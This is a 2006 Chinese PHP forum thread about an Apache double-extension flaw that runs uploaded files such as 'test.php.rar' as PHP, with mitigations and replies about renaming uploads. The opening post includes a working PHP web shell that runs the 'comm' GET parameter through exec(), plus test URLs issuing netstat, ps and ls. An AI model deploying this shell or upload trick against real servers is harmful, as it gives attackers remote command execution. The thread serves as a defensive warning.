+ -
当前位置:首页 → 问答吧 → 关于php apache后缀漏洞 附测试代码 和解决办法

关于php apache后缀漏洞 附测试代码 和解决办法

时间:2006-12-19

来源:互联网

特别针对带上传功能的应用。
如果你是把上传的文件统一改名了还好。

如果没有改名。那么就危险拉。
如果他上传jpg,gif,zip还好说拉。如果他上一个 xxx.php.rar 的文件那么就轻松拿到你的web sheel 拉 。

测试代码:


<?
if($_GET[comm]!='')
{
    exec($_GET[comm],$re);
    foreach($re as $v)
        echo $v.'<br>';
}
else
    exit('Please input command...');
?>

以上代码另存为test.php.rar

测试代码:
http://localhost:/test.php.rar?comm=netstat -n

http://localhost:/test.php.rar?comm=ps -A

http://localhost:/test.php.rar?comm=ls

当然他还可以上传一个取消限制的上传工具。在上一些黑客工具,木马后门,到你服务器,慢慢整你。

解决办法
1.你没有用户上传,跳过,没事拉。
2.你限制用户上传,注意只是后缀限制是不完善的。特别是javascript的判断和限制。
3.修改用户上传的文件的文件名。
4.升级php/apache(当然得等官方有和解决再说)

[ 本帖最后由 ocheers 于 2006-12-19 16:41 编辑 ]

作者: ocheers   发布时间: 2006-12-19

好像有人发过了

作者: �����i�i   发布时间: 2006-12-19

:L :L :L

作者: Nickboy   发布时间: 2006-12-19

啊。有人发过拉啊。

算了。就算是引起大家注意把。

作者: ocheers   发布时间: 2006-12-19

安全问题的确需要重视

作者: 默默   发布时间: 2006-12-19

重视下

作者: leehui1983   发布时间: 2006-12-19

不随随便便给上传权限不就可以在一定程度上避免了.:lol

作者: hy0kl   发布时间: 2006-12-21

不过不是最好的解决方法

作者: leehui1983   发布时间: 2006-12-21

:L 有个大胆的想法:

就是上传后更改名称

假如是
      xx.php.rar
那么我保留后面的.rar,其他的我一律给他改了。。。这样不知道能不能解决?

作者: edwardhey   发布时间: 2006-12-21

呵呵,自动重命名也比较常用

作者: leehui1983   发布时间: 2006-12-21

试试看

作者: softly   发布时间: 2006-12-22